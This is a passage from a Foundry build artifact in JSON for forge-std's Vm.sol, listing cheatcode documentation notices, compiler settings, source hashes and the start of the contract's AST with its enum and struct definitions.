failure."},"assume(bool)":{"notice":"If the condition is false, discard this run's fuzz inputs and generate new ones."},"breakpoint(string)":{"notice":"Writes a breakpoint to jump to in the debugger."},"breakpoint(string,bool)":{"notice":"Writes a conditional breakpoint to jump to in the debugger."},"broadcast()":{"notice":"Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain."},"broadcast(address)":{"notice":"Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain."},"broadcast(uint256)":{"notice":"Has the next call (at this call depth only) create a transaction with the private key provided as the sender that can later be signed and sent onchain."},"closeFile(string)":{"notice":"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. `path` is relative to the project root."},"computeCreate2Address(bytes32,bytes32)":{"notice":"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer."},"computeCreate2Address(bytes32,bytes32,address)":{"notice":"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer."},"computeCreateAddress(address,uint256)":{"notice":"Compute the address a contract will be deployed at for a given deployer address and nonce."},"copyFile(string,string)":{"notice":"Copies the contents of one file to another. This function will **overwrite** the contents of `to`. On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`. Both `from` and `to` are relative to the project root."},"createDir(string,bool)":{"notice":"Creates a new, empty directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - User lacks permissions to modify `path`. - A parent of the given path doesn't exist and `recursive` is false. - `path` already exists and `recursive` is false. `path` is relative to the project root."},"createWallet(string)":{"notice":"Derives a private key from the name, labels the account with that name, and returns the wallet."},"createWallet(uint256)":{"notice":"Generates a wallet from the private key and returns the wallet."},"createWallet(uint256,string)":{"notice":"Generates a wallet from the private key, labels the account with that name, and returns the wallet."},"deriveKey(string,string,uint32)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) at `{derivationPath}{index}`."},"deriveKey(string,string,uint32,string)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at `{derivationPath}{index}`."},"deriveKey(string,uint32)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path `m/44'/60'/0'/0/{index}`."},"deriveKey(string,uint32,string)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at the derivation path `m/44'/60'/0'/0/{index}`."},"envAddress(string)":{"notice":"Gets the environment variable `name` and parses it as `address`. Reverts if the variable was not found or could not be parsed."},"envAddress(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBool(string)":{"notice":"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable was not found or could not be parsed."},"envBool(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBytes(string)":{"notice":"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable was not found or could not be parsed."},"envBytes(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBytes32(string)":{"notice":"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable was not found or could not be parsed."},"envBytes32(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envInt(string)":{"notice":"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable was not found or could not be parsed."},"envInt(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envOr(string,address)":{"notice":"Gets the environment variable `name` and parses it as `address`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bool)":{"notice":"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bytes)":{"notice":"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bytes32)":{"notice":"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,int256)":{"notice":"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string)":{"notice":"Gets the environment variable `name` and parses it as `string`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,address[])":{"notice":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bool[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bytes32[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bytes[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,int256[])":{"notice":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,string[])":{"notice":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,uint256[])":{"notice":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,uint256)":{"notice":"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envString(string)":{"notice":"Gets the environment variable `name` and parses it as `string`. Reverts if the variable was not found or could not be parsed."},"envString(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envUint(string)":{"notice":"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable was not found or could not be parsed."},"envUint(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"eth_getLogs(uint256,uint256,address,bytes32[])":{"notice":"Gets all the logs according to specified filter."},"exists(string)":{"notice":"Returns true if the given path points to an existing entity, else returns false."},"ffi(string[])":{"notice":"Performs a foreign function call via the terminal."},"fsMetadata(string)":{"notice":"Given a path, query the file system to get information about a file, directory, etc."},"getBlockNumber()":{"notice":"Gets the current `block.number`. You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180"},"getBlockTimestamp()":{"notice":"Gets the current `block.timestamp`. You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180"},"getCode(string)":{"notice":"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file."},"getDeployedCode(string)":{"notice":"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file."},"getLabel(address)":{"notice":"Gets the label for the specified address."},"getMappingKeyAndParentOf(address,bytes32)":{"notice":"Gets the map key and parent of a mapping at a given slot, for a given address."},"getMappingLength(address,bytes32)":{"notice":"Gets the number of elements in the mapping at the given slot, for a given address."},"getMappingSlotAt(address,bytes32,uint256)":{"notice":"Gets the elements at index idx of the mapping at the given slot, for a given address. The index must be less than the length of the mapping (i.e. the number of keys in the mapping)."},"getNonce((address,uint256,uint256,uint256))":{"notice":"Get a `Wallet`'s nonce."},"getNonce(address)":{"notice":"Gets the nonce of an account."},"getRecordedLogs()":{"notice":"Gets all the recorded logs."},"isDir(string)":{"notice":"Returns true if the path exists on disk and is pointing at a directory, else returns false."},"isFile(string)":{"notice":"Returns true if the path exists on disk and is pointing at a regular file, else returns false."},"keyExists(string,string)":{"notice":"Checks if `key` exists in a JSON object `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions."},"keyExistsJson(string,string)":{"notice":"Checks if `key` exists in a JSON object."},"keyExistsToml(string,string)":{"notice":"Checks if `key` exists in a TOML table."},"label(address,string)":{"notice":"Labels an address in call traces."},"load(address,bytes32)":{"notice":"Loads a storage slot from an address."},"parseAddress(string)":{"notice":"Parses the given `string` into an `address`."},"parseBool(string)":{"notice":"Parses the given `string` into a `bool`."},"parseBytes(string)":{"notice":"Parses the given `string` into `bytes`."},"parseBytes32(string)":{"notice":"Parses the given `string` into a `bytes32`."},"parseInt(string)":{"notice":"Parses the given `string` into a `int256`."},"parseJson(string)":{"notice":"ABI-encodes a JSON object."},"parseJson(string,string)":{"notice":"ABI-encodes a JSON object at `key`."},"parseJsonAddress(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `address`."},"parseJsonAddressArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `address[]`."},"parseJsonBool(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bool`."},"parseJsonBoolArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bool[]`."},"parseJsonBytes(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes`."},"parseJsonBytes32(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes32`."},"parseJsonBytes32Array(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes32[]`."},"parseJsonBytesArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `bytes[]`."},"parseJsonInt(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `int256`."},"parseJsonIntArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `int256[]`."},"parseJsonKeys(string,string)":{"notice":"Returns an array of all the keys in a JSON object."},"parseJsonString(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `string`."},"parseJsonStringArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `string[]`."},"parseJsonUint(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `uint256`."},"parseJsonUintArray(string,string)":{"notice":"Parses a string of JSON data at `key` and coerces it to `uint256[]`."},"parseToml(string)":{"notice":"ABI-encodes a TOML table."},"parseToml(string,string)":{"notice":"ABI-encodes a TOML table at `key`."},"parseTomlAddress(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `address`."},"parseTomlAddressArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `address[]`."},"parseTomlBool(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bool`."},"parseTomlBoolArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bool[]`."},"parseTomlBytes(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes`."},"parseTomlBytes32(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes32`."},"parseTomlBytes32Array(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes32[]`."},"parseTomlBytesArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `bytes[]`."},"parseTomlInt(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `int256`."},"parseTomlIntArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `int256[]`."},"parseTomlKeys(string,string)":{"notice":"Returns an array of all the keys in a TOML table."},"parseTomlString(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `string`."},"parseTomlStringArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `string[]`."},"parseTomlUint(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `uint256`."},"parseTomlUintArray(string,string)":{"notice":"Parses a string of TOML data at `key` and coerces it to `uint256[]`."},"parseUint(string)":{"notice":"Parses the given `string` into a `uint256`."},"pauseGasMetering()":{"notice":"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused."},"projectRoot()":{"notice":"Get the path of the current project root."},"readDir(string)":{"notice":"Reads the directory at the given path recursively, up to `maxDepth`. `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned. Follows symbolic links if `followLinks` is true."},"readDir(string,uint64)":{"notice":"See `readDir(string)`."},"readDir(string,uint64,bool)":{"notice":"See `readDir(string)`."},"readFile(string)":{"notice":"Reads the entire content of file to string. `path` is relative to the project root."},"readFileBinary(string)":{"notice":"Reads the entire content of file as binary. `path` is relative to the project root."},"readLine(string)":{"notice":"Reads next line of file to string."},"readLink(string)":{"notice":"Reads a symbolic link, returning the path that the link points to. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` is not a symbolic link. - `path` does not exist."},"record()":{"notice":"Records all storage reads and writes."},"recordLogs()":{"notice":"Record all the transaction logs."},"rememberKey(uint256)":{"notice":"Adds a private key to the local forge wallet and returns the address."},"removeDir(string,bool)":{"notice":"Removes a directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` doesn't exist. - `path` isn't a directory. - User lacks permissions to modify `path`. - The directory is not empty and `recursive` is false. `path` is relative to the project root."},"removeFile(string)":{"notice":"Removes a file from the filesystem. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` points to a directory. - The file doesn't exist. - The user lacks permissions to remove the file. `path` is relative to the project root."},"replace(string,string,string)":{"notice":"Replaces occurrences of `from` in the given `string` with `to`."},"resumeGasMetering()":{"notice":"Resumes gas metering (i.e. gas usage is counted again). Noop if already on."},"rpc(string,string)":{"notice":"Performs an Ethereum JSON-RPC request to the current fork URL."},"rpcUrl(string)":{"notice":"Returns the RPC url for the given alias."},"rpcUrlStructs()":{"notice":"Returns all rpc urls and their aliases as structs."},"rpcUrls()":{"notice":"Returns all rpc urls and their aliases `[alias, url][]`."},"serializeAddress(string,string,address)":{"notice":"See `serializeJson`."},"serializeAddress(string,string,address[])":{"notice":"See `serializeJson`."},"serializeBool(string,string,bool)":{"notice":"See `serializeJson`."},"serializeBool(string,string,bool[])":{"notice":"See `serializeJson`."},"serializeBytes(string,string,bytes)":{"notice":"See `serializeJson`."},"serializeBytes(string,string,bytes[])":{"notice":"See `serializeJson`."},"serializeBytes32(string,string,bytes32)":{"notice":"See `serializeJson`."},"serializeBytes32(string,string,bytes32[])":{"notice":"See `serializeJson`."},"serializeInt(string,string,int256)":{"notice":"See `serializeJson`."},"serializeInt(string,string,int256[])":{"notice":"See `serializeJson`."},"serializeJson(string,string)":{"notice":"Serializes a key and value to a JSON object stored in-memory that can be later written to a file. Returns the stringified version of the specific JSON file up to that moment."},"serializeString(string,string,string)":{"notice":"See `serializeJson`."},"serializeString(string,string,string[])":{"notice":"See `serializeJson`."},"serializeUint(string,string,uint256)":{"notice":"See `serializeJson`."},"serializeUint(string,string,uint256[])":{"notice":"See `serializeJson`."},"setEnv(string,string)":{"notice":"Sets environment variables."},"sign((address,uint256,uint256,uint256),bytes32)":{"notice":"Signs data with a `Wallet`."},"sign(uint256,bytes32)":{"notice":"Signs `digest` with `privateKey` using the secp256k1 curve."},"signP256(uint256,bytes32)":{"notice":"Signs `digest` with `privateKey` using the secp256r1 curve."},"sleep(uint256)":{"notice":"Suspends execution of the main thread for `duration` milliseconds."},"split(string,string)":{"notice":"Splits the given `string` into an array of strings divided by the `delimiter`."},"startBroadcast()":{"notice":"Using the address that calls the test contract, has all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain."},"startBroadcast(address)":{"notice":"Has all subsequent calls (at this call depth only) create transactions with the address provided that can later be signed and sent onchain."},"startBroadcast(uint256)":{"notice":"Has all subsequent calls (at this call depth only) create transactions with the private key provided that can later be signed and sent onchain."},"startMappingRecording()":{"notice":"Starts recording all map SSTOREs for later retrieval."},"startStateDiffRecording()":{"notice":"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order, along with the context of the calls"},"stopAndReturnStateDiff()":{"notice":"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session."},"stopBroadcast()":{"notice":"Stops collecting onchain transactions."},"stopMappingRecording()":{"notice":"Stops recording all map SSTOREs for later retrieval and clears the recorded data."},"toBase64(bytes)":{"notice":"Encodes a `bytes` value to a base64 string."},"toBase64(string)":{"notice":"Encodes a `string` value to a base64 string."},"toBase64URL(bytes)":{"notice":"Encodes a `bytes` value to a base64url string."},"toBase64URL(string)":{"notice":"Encodes a `string` value to a base64url string."},"toLowercase(string)":{"notice":"Converts the given `string` value to Lowercase."},"toString(address)":{"notice":"Converts the given value to a `string`."},"toString(bool)":{"notice":"Converts the given value to a `string`."},"toString(bytes)":{"notice":"Converts the given value to a `string`."},"toString(bytes32)":{"notice":"Converts the given value to a `string`."},"toString(int256)":{"notice":"Converts the given value to a `string`."},"toString(uint256)":{"notice":"Converts the given value to a `string`."},"toUppercase(string)":{"notice":"Converts the given `string` value to Uppercase."},"trim(string)":{"notice":"Trims leading and trailing whitespace from the given `string` value."},"tryFfi(string[])":{"notice":"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr."},"unixTime()":{"notice":"Returns the time since unix epoch in milliseconds."},"writeFile(string,string)":{"notice":"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root."},"writeFileBinary(string,bytes)":{"notice":"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root."},"writeJson(string,string)":{"notice":"Write a serialized JSON object to a file. If the file exists, it will be overwritten."},"writeJson(string,string,string)":{"notice":"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = This is useful to replace a specific value of a JSON file, without having to parse the entire thing."},"writeLine(string,string)":{"notice":"Writes line to file, creating a file if it does not exist. `path` is relative to the project root."},"writeToml(string,string)":{"notice":"Takes serialized JSON, converts to TOML and write a serialized TOML to a file."},"writeToml(string,string,string)":{"notice":"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = This is useful to replace a specific value of a TOML file, without having to parse the entire thing."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Vm.sol":"VmSafe"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Vm.sol","id":15674,"exportedSymbols":{"Vm":[15673],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"117:84979:13","nodes":[{"id":12029,"nodeType":"PragmaDirective","src":"117:31:13","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":12030,"nodeType":"PragmaDirective","src":"149:33:13","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":15098,"nodeType":"ContractDefinition","src":"409:70923:13","nodes":[{"id":12038,"nodeType":"EnumDefinition","src":"529:533:13","nodes":[],"canonicalName":"VmSafe.CallerMode","documentation":{"id":12032,"nodeType":"StructuredDocumentation","src":"432:92:13","text":"A modification applied to either `msg.sender` or `tx.origin`. Returned by `readCallers`."},"members":[{"id":12033,"name":"None","nameLocation":"610:4:13","nodeType":"EnumValue","src":"610:4:13"},{"id":12034,"name":"Broadcast","nameLocation":"714:9:13","nodeType":"EnumValue","src":"714:9:13"},{"id":12035,"name":"RecurrentBroadcast","nameLocation":"829:18:13","nodeType":"EnumValue","src":"829:18:13"},{"id":12036,"name":"Prank","nameLocation":"939:5:13","nodeType":"EnumValue","src":"939:5:13"},{"id":12037,"name":"RecurrentPrank","nameLocation":"1042:14:13","nodeType":"EnumValue","src":"1042:14:13"}],"name":"CallerMode","nameLocation":"534:10:13"},{"id":12051,"nodeType":"EnumDefinition","src":"1118:791:13","nodes":[],"canonicalName":"VmSafe.AccountAccessKind","documentation":{"id":12039,"nodeType":"StructuredDocumentation","src":"1068:45:13","text":"The kind of account access that occurred."},"members":[{"id":12040,"name":"Call","nameLocation":"1186:4:13","nodeType":"EnumValue","src":"1186:4:13"},{"id":12041,"name":"DelegateCall","nameLocation":"1252:12:13","nodeType":"EnumValue","src":"1252:12:13"},{"id":12042,"name":"CallCode","nameLocation":"1322:8:13","nodeType":"EnumValue","src":"1322:8:13"},{"id":12043,"name":"StaticCall","nameLocation":"1390:10:13","nodeType":"EnumValue","src":"1390:10:13"},{"id":12044,"name":"Create","nameLocation":"1446:6:13","nodeType":"EnumValue","src":"1446:6:13"},{"id":12045,"name":"SelfDestruct","nameLocation":"1505:12:13","nodeType":"EnumValue","src":"1505:12:13"},{"id":12046,"name":"Resume","nameLocation":"1644:6:13","nodeType":"EnumValue","src":"1644:6:13"},{"id":12047,"name":"Balance","nameLocation":"1703:7:13","nodeType":"EnumValue","src":"1703:7:13"},{"id":12048,"name":"Extcodesize","nameLocation":"1764:11:13","nodeType":"EnumValue","src":"1764:11:13"},{"id":12049,"name":"Extcodehash","nameLocation":"1829:11:13","nodeType":"EnumValue","src":"1829:11:13"},{"id":12050,"name":"Extcodecopy","nameLocation":"1892:11:13","nodeType":"EnumValue","src":"1892:11:13"}],"name":"AccountAccessKind","nameLocation":"1123:17:13"},{"id":12060,"nodeType":"StructDefinition","src":"1971:237:13","nodes":[],"canonicalName":"VmSafe.Log","documentation":{"id":12052,"nodeType":"StructuredDocumentation","src":"1915:51:13","text":"An Ethereum log. Returned by `getRecordedLogs`."},"members":[{"constant":false,"id":12055,"mutability":"mutable","name":"topics","nameLocation":"2069:6:13","nodeType":"VariableDeclaration","scope":12060,"src":"2059:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2059:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12054,"nodeType":"ArrayTypeName","src":"2059:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12057,"mutability":"mutable","name":"data","nameLocation":"2127:4:13","nodeType":"VariableDeclaration","scope":12060,"src":"2121:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12056,"name":"bytes","nodeType":"ElementaryTypeName","src":"2121:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12059,"mutability":"mutable","name":"emitter","nameLocation":"2194:7:13","nodeType":"VariableDeclaration","scope":12060,"src":"2186:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12058,"name":"address","nodeType":"ElementaryTypeName","src":"2186:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"name":"Log","nameLocation":"1978:3:13","scope":15098,"visibility":"public"},{"id":12066,"nodeType":"StructDefinition","src":"2277:119:13","nodes":[],"canonicalName":"VmSafe.Rpc","documentation":{"id":12061,"nodeType":"StructuredDocumentation","src":"2214:58:13","text":"An RPC URL and its alias. Returned by `rpcUrlStructs`."},"members":[{"constant":false,"id":12063,"mutability":"mutable","name":"key","nameLocation":"2342:3:13","nodeType":"VariableDeclaration","scope":12066,"src":"2335:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12062,"name":"string","nodeType":"ElementaryTypeName","src":"2335:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12065,"mutability":"mutable","name":"url","nameLocation":"2386:3:13","nodeType":"VariableDeclaration","scope":12066,"src":"2379:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12064,"name":"string","nodeType":"ElementaryTypeName","src":"2379:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"Rpc","nameLocation":"2284:3:13","scope":15098,"visibility":"public"},{"id":12087,"nodeType":"StructDefinition","src":"2456:615:13","nodes":[],"canonicalName":"VmSafe.EthGetLogs","documentation":{"id":12067,"nodeType":"StructuredDocumentation","src":"2402:49:13","text":"An RPC log object. Returned by `eth_getLogs`."},"members":[{"constant":false,"id":12069,"mutability":"mutable","name":"emitter","nameLocation":"2537:7:13","nodeType":"VariableDeclaration","scope":12087,"src":"2529:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12068,"name":"address","nodeType":"ElementaryTypeName","src":"2529:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12072,"mutability":"mutable","name":"topics","nameLocation":"2631:6:13","nodeType":"VariableDeclaration","scope":12087,"src":"2621:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12070,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2621:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12071,"nodeType":"ArrayTypeName","src":"2621:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12074,"mutability":"mutable","name":"data","nameLocation":"2689:4:13","nodeType":"VariableDeclaration","scope":12087,"src":"2683:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12073,"name":"bytes","nodeType":"ElementaryTypeName","src":"2683:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12076,"mutability":"mutable","name":"blockHash","nameLocation":"2738:9:13","nodeType":"VariableDeclaration","scope":12087,"src":"2730:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12075,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2730:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12078,"mutability":"mutable","name":"blockNumber","nameLocation":"2793:11:13","nodeType":"VariableDeclaration","scope":12087,"src":"2786:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12077,"name":"uint64","nodeType":"ElementaryTypeName","src":"2786:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12080,"mutability":"mutable","name":"transactionHash","nameLocation":"2855:15:13","nodeType":"VariableDeclaration","scope":12087,"src":"2847:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12079,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2847:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12082,"mutability":"mutable","name":"transactionIndex","nameLocation":"2934:16:13","nodeType":"VariableDeclaration","scope":12087,"src":"2927:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12081,"name":"uint64","nodeType":"ElementaryTypeName","src":"2927:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12084,"mutability":"mutable","name":"logIndex","nameLocation":"2994:8:13","nodeType":"VariableDeclaration","scope":12087,"src":"2986:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12083,"name":"uint256","nodeType":"ElementaryTypeName","src":"2986:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12086,"mutability":"mutable","name":"removed","nameLocation":"3057:7:13","nodeType":"VariableDeclaration","scope":12087,"src":"3052:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12085,"name":"bool","nodeType":"ElementaryTypeName","src":"3052:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"EthGetLogs","nameLocation":"2463:10:13","scope":15098,"visibility":"public"},{"id":12099,"nodeType":"StructDefinition","src":"3147:334:13","nodes":[]